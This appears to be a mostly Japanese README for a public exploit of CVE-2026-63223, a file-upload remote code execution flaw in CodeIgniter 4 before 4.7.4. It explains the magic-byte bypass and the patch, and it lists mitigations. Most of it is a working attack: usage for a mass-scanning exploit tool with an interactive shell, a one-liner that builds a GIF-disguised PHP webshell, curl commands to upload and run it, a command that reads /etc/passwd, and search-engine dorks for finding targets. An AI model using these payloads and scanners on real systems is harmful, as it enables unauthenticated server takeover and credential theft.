
CVE-2026-63223 — CI4RCE:CodeIgniter 4 is_image/mime_in 文件上传 RCE。魔术字节绕过(getExtension 与 getClientExtension)。CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223 は、PHP フルスタック Web フレームワークである CodeIgniter 4 の 4.7.4 より前のバージョンに影響する、重要度が致命的 (CVSS 9.8) の 未認証 リモートコード実行 (RCE) 脆弱性です。
この脆弱性は、is_image および mime_in ファイルアップロード検証ルールを悪用します。これらのルールは、クライアントが指定したファイル名の拡張子を検証せず、コンテンツから導出された MIME タイプ (マジックバイト) のみを検査します。攻撃者は PHP コードの先頭に画像マジックバイト (GIF89a、JPEG、PNG ヘッダー) を付加し、ファイル名を にして検証を通過させます。ファイルが Web からアクセス可能な PHP 実行ディレクトリに配置されると、RCE に至ります。
shell.phpCVSS: 9.8 CRITICAL —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H発見日: 2026年7月31日 | アドバイザリ: GHSA-mmj4-63m4-r6h5 修正: CodeIgniter 4 v4.7.4
| バージョン | ステータス |
|---|---|
| < 4.7.4 | 脆弱 |
| 4.7.4+ | 修正済み |
CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード 参照 PoC: imbas007/CVE-2026-63223-POC
CodeIgniter 4 の is_image 検証ルールは、getExtension() — マジックバイトから導出された拡張子 (例: gif) — を Mimes::guessTypeFromExtension() に渡し、ファイルが画像かどうかを判定します。クライアントが指定したファイル名の拡張子 (getClientExtension()、例: php) は 一切検査されません:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — 前者はマジックバイト (gif) から導出され、後者はクライアントのファイル名 (php) から導出されますMimes::guessTypeFromExtension("gif") が image/gif を返すため、is_image を通過します$file->move($path, $file->getClientName()) によって .php 拡張子が保持されます1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
このパッチでは hasInvalidImageClientExtension() が追加され、クライアント の拡張子もチェックされるようになりました:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
主な変更点: is_image は現在、getExtension() (コンテンツから導出、実際の画像チェック用) と getClientExtension() (クライアント指定、.php のような画像以外の拡張子を拒否するため) の両方を検証します。
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
悪用に成功すると、Web サーバーユーザーとしてのリモートコード実行 が可能になります:
.env ファイルからのデータベース認証情報の取得アカウントや認証は不要です — ext_in なしで is_image/mime_in を使用するアップロードエンドポイントは、デフォルトで脆弱です。
is_image/mime_in を ext_in 検証ルールと組み合わせるreadfile() プロキシ経由で配信するgetRandomName() で サーバー制御のファイル名 を生成する教育および許可されたテスト目的のみに使用してください。
明示的な許可なくシステムに対して使用しないでください。著者は誤用に対するいかなる責任も負いません。
| リソース | リンク |
|---|---|
| GitHub アドバイザリ | GHSA-mmj4-63m4-r6h5 |
| 参照 PoC | imbas007/CVE-2026-63223-POC |
| NVD エントリ | CVE-2026-63223 |
| CodeIgniter v4.7.4 | 変更履歴 |
| CWE-434 | 無制限アップロード |
CodeIgniter Foundation とは無関係です。